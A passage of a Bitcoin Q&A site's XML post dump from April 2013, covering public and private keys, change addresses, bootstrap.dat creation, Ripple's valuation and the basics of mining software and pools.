  <row Id="10368" PostTypeId="2" ParentId="10362" CreationDate="2013-04-29T05:49:18.027" Score="7" Body="&lt;p&gt;False, as you've described it here, because &lt;strong&gt;private and public keys work a little differently than that&lt;/strong&gt;.  The underlying math is tricky, but I'll try and give a common sense explanation in everyday language instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Imagine that there was a special metal called Cryptonium, harder than anything else on earth and completely indestructible.&lt;/strong&gt;  No one else knows it exists, much less how to make things out of it.  Let's also say you had a special machine which could make plaques out of Cryptonium, with raised letters on them saying whatever you wanted.  &lt;em&gt;Obviously, you would keep the existence of this plaque-making machine a closely guarded secret&lt;/em&gt;.  You probably wouldn't even want anyone to know it was you that owned it.  But you still want to share this exciting discovery with the world, so you secretly produce a message that says &quot;Behold, a new and indestructible metal!&quot;  Then, late at night, you sneak into the middle of town and put the Cryptonium plaque up in the town square.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next day, everyone gathers in the town square to wonder at this amazing new plaque.  They take turns bashing at it with the hardest, sharpest, heaviest things they can find, and the plaque remains perfectly unscratched.  &quot;Sure enough,&quot; they figure, &quot;it's indestructible.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You decide to use the secret machine to write more things, helping out the townspeople and gradually earning a reputation as a trustworthy and reliable source, &lt;em&gt;even though nobody knows who you are.&lt;/em&gt;  But a few months later something terrible happens.  New plaques start showing up in town during the night, and they are &lt;strong&gt;fakes!!&lt;/strong&gt;  Someone else is taking advantage of your reputation to spread false and misleading messages!  They don't have your special machine of course--they're making their plaques out of platinum, and it's only &lt;em&gt;almost&lt;/em&gt; indestructible.  But the two metals look the same, and the townspeople don't know the difference.  What will you do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could announce yourself to the townspeople, show them the machine, and tell them the new plaques are fakes.  They might believe you, but your machine wouldn't be a secret anymore.  So instead you do something really clever.  &lt;strong&gt;You use the machine to make a small, square plaque in the shape of a hammer's head.&lt;/strong&gt;  On the plaque, you put the message &quot;This hammer will destroy all fake plaques.&quot; Then, you attach a handle to the hammer head you've made and leave it in the middle of town the next night.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the townspeople can simply use the hammer to break all the fake platinum plaques.  Sure enough, the false and misleading messages are all easily destroyed, while the ones you've produced are able to withstand the hammer's force.  Your reputation is preserved, and &lt;em&gt;your secret was never revealed&lt;/em&gt;.  Together the hammer, the secret machine, and the plaques form an unbeatable system that lets you send messages which could only have come from you--&lt;strong&gt;without&lt;/strong&gt; revealing who you really are.  Not bad, hey?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many ways &lt;strong&gt;public key cryptography works like our imaginary Cryptonium metal&lt;/strong&gt;.  It's made up of three parts, and it gives other people a way to be certain a message came from you without you having to reveal your identity or your secret way of making messages.  Like the Cryptonium system, &lt;strong&gt;you need all three components to make the system work.  These three parts are your public key, your private key, and your signatures&lt;/strong&gt; (which you can make as many of as you like, signing all different messages.)  In our story, the private key is like the secret machine, the public key is like the hammer, and the signatures are like the plaques.  In reality public key cryptography is more complex than I've described here, and if you want to learn more about it you can check out &lt;a href=&quot;https://www.khanacademy.org/math/applied-math/cryptography&quot; rel=&quot;nofollow&quot;&gt;this course from Khan Academy&lt;/a&gt;.  However this example should be good enough to understand how private and public keys are used in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, &lt;strong&gt;nobody else ever sees your private key&lt;/strong&gt;. Instead, like the secret machine, you use your private key to make &lt;em&gt;signatures&lt;/em&gt; (like the plaques) that people can be certain came from you.  Each person (and each bitcoin address) has &lt;strong&gt;both&lt;/strong&gt; a public and a private key, which share a special mathematical relationship, and the &lt;em&gt;public&lt;/em&gt; key (like the hammer) is what other people can use to verify your signatures are real.  When you send a Bitcoin transaction, you don't give away your secret machine--you only use it to make a &lt;em&gt;message&lt;/em&gt; saying who you're giving the bitcoins to.  This signed message, or signature, couldn't have come from anyone else except the owner of the address, so then everyone knows the transaction is real.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, &lt;strong&gt;private keys don't come from miners--they come from &lt;em&gt;you&lt;/em&gt;&lt;/strong&gt;.  You're the one who secretly chooses a random private key (the Bitcoin software does this for you), and that private key was used to figure out your address (which is basically a version of your public key) before anyone ever sent it some bitcoins.  Miners never have it to begin with.  They only see your transactions (signatures) and your receiving address (public key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, just to confuse things a little bit, &lt;strong&gt;you have to use up a whole transaction at one time&lt;/strong&gt;.  So if someone sent you 10 bitcoins, and you want to send someone else 5 of them, you actually send out a transaction that takes all 10 that you received, sends 5 to the other person's address, and 5 to another address of your own (this is called the &quot;change&quot; from your transaction).  Bitcoin does this so that other people can't tell which part of the transaction is what you sent and which part is the change (nobody knows which addresses belong to the same person).  It helps protect your privacy.  But if you wanted to, you could send the change back to the same address, because your private keys are still safe.  You'd just have to use a different client than the default Bitcoin client, because it doesn't have a way to do that.  &lt;strong&gt;All of this happens behind the scenes, which is why your balance still shows as 5 bitcoins after you do this&lt;/strong&gt;.  Bitcoin stores all your different addresses and private keys in something called a &lt;em&gt;wallet&lt;/em&gt;, and the balance is the total bitcoins owned by the wallet.  So it keeps everything simple up front!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sense?  Hope it wasn't too long, but I wanted to try and make the public/private key thing more clear.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-04-30T18:40:14.700" LastActivityDate="2013-04-30T18:40:14.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10369" PostTypeId="2" ParentId="9750" CreationDate="2013-04-29T06:30:17.687" Score="1" Body="&lt;p&gt;You could make one using bitcoinj which listens for txns, then triggers a spend.&#xA;Perhaps you would use rpc to control bitcoind to make the spend, and only use bitcoinj for the listening side ?&#xA;That should (I haven't done it but hope to soon) not require any private keys to listen to the wallet.&#xA;See this: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8132/listening-to-all-transactions-of-the-bitcoin-network/8133#8133&quot;&gt;Listening to all transactions of the Bitcoin network&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind appears to be pull oriented, while bitcoinj can be set up to be push related, sort of.&lt;/p&gt;&#xA;" OwnerUserId="4713" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-04-29T06:30:17.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10371" PostTypeId="2" ParentId="10352" CreationDate="2013-04-29T08:09:59.753" Score="-1" Body="&lt;p&gt;there is no confirmation to this yet. at the time i was placing an order for a BF box, the prices where 50% lower and the standard shipping was about or less than 25$. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;since the orders of that time haven't been even shipped yet, orders nowdays like yours are also not shipped and thus no user can confirm the shipping times. only someone from BF staff but one cannot believe their statements.&lt;/p&gt;&#xA;" OwnerUserId="3116" LastActivityDate="2013-04-29T08:09:59.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10373" PostTypeId="2" ParentId="10356" CreationDate="2013-04-29T08:49:58.943" Score="2" Body="&lt;p&gt;Ok, I found the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that you can not start mining prior to synchronizing with the network (getting all the blocks). The client is not telling you this and tells you that it is mining, when in fact it does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is no point in clicking start mining before you got everything. After you got all the blocks and pressing mining you can see the your speed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uy17z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="196" LastEditDate="2013-04-29T09:00:55.380" LastActivityDate="2013-04-29T09:00:55.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10375" PostTypeId="1" CreationDate="2013-04-29T10:57:27.510" Score="5" ViewCount="2321" Body="&lt;p&gt;On bitstamp today, $1 = 225XRP. That makes 100 billion XRPs worth $450 million.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple's a payment system that can't be used to buy anything yet and it's transaction credits are worth half a billion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here? Why is the price so high?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The price doubled since I asked this question. Now total ripples are worth almost a billion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: Ripple people: you can down vote this questions all you want. It's a perfectly valid question.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2015-06-26T12:10:34.393" LastActivityDate="2018-12-23T08:24:39.593" Title="What is the total value of XRPs or the market cap of Ripple?" Tags="|ripple|" AnswerCount="3" CommentCount="6" FavoriteCount="0" ClosedDate="2018-12-28T11:44:29.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="10376" PostTypeId="2" ParentId="10375" CreationDate="2013-04-29T11:00:54.460" Score="3" Body="&lt;p&gt;Keep a few things in mind. Not all 80 billion XRP that OpenCoin is supposed to give away is already in people's hands. Also, the founders that kept 20 billion will probably not be likely to sell a big part of it. For this reason, the total amount of XRP in circulation is many times lower than 100 billion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beside that, it is true that the total market cap can be valued at 100 billion * 0.0044.. USD/XRP = ± 450 billion USD. But that number does not make too much sense because the price will drop very fast when people sell big numbers of XRP. The reason that the price has this (relatively high) value is because most people are not likely to sell their XRP and everyone wants to buy a little bit of them to experiment or to keep as an early investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason why people buy XRP now is because they believe that Ripple has potential to become big some day. And possibly for development and testing purposes.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-29T11:14:52.940" LastActivityDate="2013-04-29T11:14:52.940" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10377" PostTypeId="2" ParentId="10365" CreationDate="2013-04-29T11:53:00.893" Score="2" Body="&lt;p&gt;With BTCT.CO each asset issuer receives a full list of all shareholders holdings every twelve hours.  So if the site did go down the damage would be limited.  Also you should only keep just enough coins for your orders on the site and not use it to store coins long term.&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2013-04-29T11:53:00.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10378" PostTypeId="2" ParentId="10357" CreationDate="2013-04-29T13:22:45.597" Score="0" Body="&lt;p&gt;The rules are pretty simple:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there are one or more inputs to a transaction&lt;/li&gt;&#xA;&lt;li&gt;there are zero or more outputs to a transaction&lt;/li&gt;&#xA;&lt;li&gt;any difference between the input and the output values is treated as a transaction fee and kept by whomever mined the block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In terms of a &quot;change&quot; address, it is simply another output.  It just happens to be one to an address to which you hold the private key.  As to if that address has already been used for something else, that's up to whatever software generated the transaction.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-29T13:22:45.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10379" PostTypeId="1" CreationDate="2013-04-29T15:55:42.470" Score="4" ViewCount="2904" Body="&lt;p&gt;I need a client that has a feature of exporting &lt;strong&gt;full information&lt;/strong&gt; about transactions in an Excel or CSV file. By full information I mean sender, receiver, amount, time, confirmation status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want the information that is related to my addresses. If it has multiple sources and affects several address that belong to me I would like to see one line per address. So I want just to see as clearly as it's possible what happend with my address, when and where from/to the coins moved. Just like when you do your simple accounting. In Qt client I cannot see the information about sender in exported file. Is there any client that has this functionality?&lt;/p&gt;&#xA;" OwnerUserId="4723" LastEditorUserId="4723" LastEditDate="2013-04-29T19:41:48.683" LastActivityDate="2013-11-12T14:05:21.867" Title="Is there a client that can export to Excel detailed information about transactions?" Tags="|client|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10380" PostTypeId="1" CreationDate="2013-04-29T17:03:52.807" Score="1" ViewCount="552" Body="&lt;p&gt;I can't believe that I have lost my Bitcoin Wallet just because I clicked on the red spot on the window of it on my Mac. Or was this enough to loose it???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have the address (does it start with a 1xxxx ?) and I have my password. &#xA;Have I lost my wallet or is it just invisible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on the Bitcoin-QT icon in my applications folder, nothing happens.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastEditorUserId="15412" LastEditDate="2014-07-23T15:11:59.940" LastActivityDate="2014-07-23T18:27:42.617" Title="Why does Bitcoin-Qt not launch the program, on Mac" Tags="|wallet|mac|wallet-recovery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10381" PostTypeId="1" AcceptedAnswerId="10384" CreationDate="2013-04-29T17:37:44.117" Score="15" ViewCount="8692" Body="&lt;p&gt;Since I have been tearing down and setting up bitcoin clients a lot for some experiments lately, I was wondering whether there is a simple way to speed up the synchronization with the network. One method that comes to mind is the &lt;code&gt;bootstrap.dat&lt;/code&gt; file distributed by some people. The problem is that the last 40'000 blocks, which are the most expensive to get and verify, are not included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I was wondering how to create such a &lt;code&gt;bootstrap.dat&lt;/code&gt; myself, from a good copy I have on another machine. Any idea?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-07-01T20:42:18.520" Title="Creating my own bootstrap.dat?" Tags="|blockchain|synchronization|bootstrap.dat|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10382" PostTypeId="1" CreationDate="2013-04-29T17:41:32.053" Score="3" ViewCount="221" Body="&lt;p&gt;I have a use-case where I'd only need to be monitoring the mempool transactions and recently-committed blocks/transactions (the last month's worth of blocks would be sufficient). Is there a way to tell &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-server&quot; rel=&quot;nofollow&quot;&gt;bitcoinjs&lt;/a&gt; to not store the whole blockchain, but start from most current instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could create my own &quot;Storage&quot; object for the server that doesn't write anything if the block is older than a month, but I'm pretty sure it would still &lt;em&gt;try&lt;/em&gt; to download the whole blockchain every time it connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there an even more lightweight bitcoin p2p node implementation that gives this sort of functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Usage Details: the use case for this is an ecommerce solution; the seller creates a new one-time use payment address (it's never been used before, so we don't care about the whole blockchain history) and tells the user to make a payment to it. Now the back end starts monitoring the bitcoin p2p network for an incoming (unconfirmed) transaction. At that point the site can tell the user the first step of ordering is complete, and move them to a &quot;pending orders&quot; page which long-polls for confirmations on those spends. Recent blocks would be used to track confirmations, and once confirmed, wouldn't be needed any more.)&lt;/p&gt;&#xA;" OwnerUserId="1698" LastEditorUserId="105" LastEditDate="2013-05-21T18:05:54.767" LastActivityDate="2013-05-21T18:05:54.767" Title="BitcoinJS with no storage?" Tags="|server|bitcoinjs|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10383" PostTypeId="2" ParentId="10380" CreationDate="2013-04-29T17:55:09.833" Score="1" Body="&lt;p&gt;Right click the icon and quit Bitcoin-QT, then restart it. I have it on my iMac and occasionally it goes completely unresponsive. If necessary, force quit. See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instructions on backing up your wallet for future. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2013-04-29T17:55:09.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10384" PostTypeId="2" ParentId="10381" CreationDate="2013-04-29T19:16:40.837" Score="6" Body="&lt;p&gt;The block files are in the same format as the bootstrap file. Their format is really simple: just concatenate all blocks after prefixing them by the network number (to avoid mixing the testnets) and the block length.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[network number] [length] [block header] [block transactions]&#xA;[network number] [length] [block header] [block transactions]&#xA;[network number] [length] [block header] [block transactions]&#xA;... repeat for all blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To create a bootstrap file, all you need to do is to just grab the data from &lt;code&gt;blk00001.dat&lt;/code&gt; up to your last block file (here that's &lt;code&gt;blk000054.dat&lt;/code&gt;) and put all of it in the &lt;code&gt;bootstrap.dat&lt;/code&gt; file, preferably sorted so that it can just import them all in one go without having to swap blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; you might even be able to just concatenate the block files themselves, as they are already in the right format, and the format supports concatenation.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-29T19:16:40.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10385" PostTypeId="1" AcceptedAnswerId="10388" CreationDate="2013-04-29T20:14:43.703" Score="3" ViewCount="427" Body="&lt;p&gt;All of the promotional materials (videos, papers, articles, etc.) on Bitcoin bill it as a decentralized solution for e-commerce/online financial exchanges that bypasses traditional banks, federal reserve, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: why is this a good thing? Is it better, or just different? What shortcomings in traditional e-com are now solved by Bitcoin? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4692" LastActivityDate="2013-04-29T21:23:11.157" Title="Why is decentralized e-commerce good or better?" Tags="|ecommerce|decentralization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10386" PostTypeId="1" AcceptedAnswerId="10391" CreationDate="2013-04-29T20:21:50.557" Score="1" ViewCount="190" Body="&lt;p&gt;I'm interested in dabbling with mining. I see that there are at least 2 pieces of software that are used when participating in the Bitcoin network:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;InstaWallet&lt;/li&gt;&#xA;&lt;li&gt;BitcoinD (the daemon)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I guess I'm looking for an intro to all the different software I'll need to even get my foot in the door, as well as any other &quot;must haves&quot; for a miner's software stack (for users or developers alike). Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4692" LastEditorUserId="5406" LastEditDate="2016-04-28T12:51:36.297" LastActivityDate="2016-04-28T12:51:36.297" Title="A Modern Miner's Software Stack" Tags="|bitcoind|mining-software|instawallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10387" PostTypeId="1" AcceptedAnswerId="10389" CreationDate="2013-04-29T20:31:07.200" Score="1" ViewCount="465" Body="&lt;p&gt;I understand that miner's compete to create blocks that meet certain (very specific) cryptographic criteria. However, I'm still having trouble seeing the &quot;forest through the trees&quot; here, and have a few very-similarly-related questions that I think will tie everything together for me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What are these competitions/races called? Block bids? Block challenges?&lt;/li&gt;&#xA;&lt;li&gt;What software announces to all the miners that a new &quot;block bid&quot; is ready? In other words, how do miners know to start competing with each other?&lt;/li&gt;&#xA;&lt;li&gt;What software do miners use to compete with? &lt;code&gt;bitcoind&lt;/code&gt;? Something else?&lt;/li&gt;&#xA;&lt;li&gt;Can miners write custom software the interfaces with #3 above (&lt;code&gt;bitcoind&lt;/code&gt; or other), or is that &quot;not allowed&quot;?&lt;/li&gt;&#xA;&lt;li&gt;Can miners divide a &quot;block bid&quot; problem over multiple computers, or again, is that &quot;not allowed&quot;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I usually don't like to ask &quot;multi-questions&quot; like this one, but these questions are so small/micro in and of themselves, and so closely-related, I think their answer will make for a nice &quot;mining overview&quot;-type question for future readers and newcomers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4692" LastEditorUserId="5406" LastEditDate="2016-04-28T12:44:12.313" LastActivityDate="2016-04-28T12:44:12.313" Title="Mining operations: what's allowed and what's not?" Tags="|bitcoind|block|mining-theory|mining-software|terminology|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10388" PostTypeId="2" ParentId="10385" CreationDate="2013-04-29T21:03:32.703" Score="5" Body="&lt;p&gt;Stealing directly from &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot;&gt;Satoshi's original paper&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Commerce on the Internet has come to rely almost exclusively on&#xA;  financial institutions serving as trusted third parties to process&#xA;  electronic payments. While the system works well enough for most&#xA;  transactions, it still suffers from the inherent weaknesses of the&#xA;  trust based model.  Completely non-reversible transactions are not&#xA;  really possible, since financial institutions cannot avoid mediating&#xA;  disputes. The cost of mediation increases transaction costs, limiting&#xA;  the minimum practical transaction size and cutting off the possibility&#xA;  for small casual transactions, and there is a broader cost in the loss&#xA;  of ability to make non-reversible payments for nonreversible services.&#xA;  With the possibility of reversal, the need for trust spreads.&#xA;  Merchants must be wary of their customers, hassling them for more&#xA;  information than they would otherwise need.  A certain percentage of&#xA;  fraud is accepted as unavoidable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, it's cheaper and safer to not to have to trust the other party, or to have to pay someone else to trust the other party.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="1307" LastEditDate="2013-04-29T21:23:11.157" LastActivityDate="2013-04-29T21:23:11.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10389" PostTypeId="2" ParentId="10387" CreationDate="2013-04-29T21:12:22.330" Score="2" Body="&lt;p&gt;I think you miss general understanding about the Bitcoin mining problem. Try reading &quot;&lt;a href=&quot;http://codinginmysleep.com/bitcoin-mining-in-plain-english/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin mining in plain English&lt;/a&gt;&quot;, a good article trying to explain mining the easy way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll answer your different questions, but some of them are quite irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;What are these competitions/races called? Block bids? Block challenges?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I assume you mean proposals here. A block try must satisfy certain conditions to be valid. Once a miner finds a valid block, it broadcasts it through the Bitcoin network so that other miners and clients can verify it and, if it is valid, add it to their &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;block chain&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;What software announces to all the miners that a new &quot;block bid&quot; is ready? In other words, how do miners know to start competing with each other?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Miners don't compete. When a miner finds a block, it announces this via a Bitcoin client. All other miners will stop their current search for a block and start to find a new block that is valid to follow the last block found by another miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important to understand that the mining problem does not get's easier to find when you try longer. Every try for a solution has an equal chance of success. It's just about making many tries. So when another miner finds a valid block, it is no problem for you to slightly change the problem you are working on because every try still has an equal chance.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;What software do miners use to compete with? bitcoind? Something else?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Miners can announce their new blocks with any client that implements the protocol. bitcoind is an obvious choice. However, many people do &lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining&quot; rel=&quot;nofollow&quot;&gt;pooled mining&lt;/a&gt;, by which a mining pool gives them parts of the problem and the pool will announce new blocks when one miner finds the solution. This means that pooled miners don't need a Bitcoin client like bitcoind to mine, but only a miner program that supports pooled mining.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Can miners write custom software the interfaces with #3 above (bitcoind or other), or is that &quot;not allowed&quot;?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I understand this right, you ask if miners can write their own Bitcoin clients to announce their blocks? Of course they can. Bitcoin has an open protocol and every client that correctly implements this protocol will be accepted by the network.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Can miners divide a &quot;block bid&quot; problem over multiple computers, or again, is that &quot;not allowed&quot;?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course. This is what mining pools do essentially. They distribute the problem over all miners that are registered with it. When one of them finds a block, the reward is shares among all connected miners, proportionally with their relative contribution to the problem solving.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What's allowed and what not?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To answer your question heading: &lt;strong&gt;everything is allowed&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use whatever techniques to do Bitcoin mining. It is an essential part of Bitcoins security that you cannot cheat, because everything is allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when you don't follow the Bitcoin protocol, none of you actions will be accepted by the network. So basically, you can do everything, but there are things that you &lt;em&gt;should not do&lt;/em&gt;, because the other people in the Bitcoin network will just ignore you when you do.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-29T21:47:10.650" LastActivityDate="2013-04-29T21:47:10.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10390" PostTypeId="2" ParentId="10387" CreationDate="2013-04-29T21:12:42.130" Score="2" Body="&lt;p&gt;Rough answers to your questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) They don't have a name, the process is just known generically as mining&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Every miner is working on what they perceive to be the current block.  This is the next block after the ones which they already know about.  If they receive a block (due to someone else finding the block before they do) then they move on to the next one.  There is no inherent finish time for a block, and no gap necessary between mining one block and the next&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) There are various mining programs, both open and closed source, to manage the mining task.  See &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Mining_Pool_Servers_.28backend.29&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; for a list of some of them.  A group of miners who decide that they want to work together to solve blocks are called a &quot;mining pool&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Miners can and do write their own software to mine.  See &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Mining_apps&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; for a list of some of them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Mining is a probabilistic process and is inherently distributed: every computer working on a given block is working on solving the same problem.  However, only one computer actually solves the block and wins the mining reward (currently 25 BTC).  Part of the job of a pool manager is to take the mining reward and share it out between the pool participants in a way which is considered fair (different pool have different definitions)&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-29T21:12:42.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10391" PostTypeId="2" ParentId="10386" CreationDate="2013-04-29T21:22:05.887" Score="2" Body="&lt;p&gt;In fact, you can start mining with only a small piece of &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_software&quot; rel=&quot;nofollow&quot;&gt;mining software&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you mine for a &lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining&quot; rel=&quot;nofollow&quot;&gt;pool&lt;/a&gt;, a mining program will be sufficient to begin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to solo mine, you also need a client that connects you to the network for announcing new blocks you find. bitcoind is an obvious choice for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of beginner's guides on Bitcoin mining available on the web.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.weusecoins.com/en/mining-guide&quot; rel=&quot;nofollow&quot;&gt;WeUseCoins mining guide&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;TechCrunch's &lt;a href=&quot;http://techcrunch.com/2013/04/08/how-to-mine-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;&quot;How To Mine Bitcoins&quot;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;BitcoinMining.com &lt;a href=&quot;http://www.bitcoinmining.com/getting-started/&quot; rel=&quot;nofollow&quot;&gt;&quot;Getting started&quot;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.com/search?q=bitcoin%20mining%20guide&quot; rel=&quot;nofollow&quot;&gt;Google!&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A small remark on your question&lt;/em&gt;: InstaWallet is absolutely no requirement for participating to the Bitcoin network. A client is absolutelly everything you need. This can be the default &lt;a 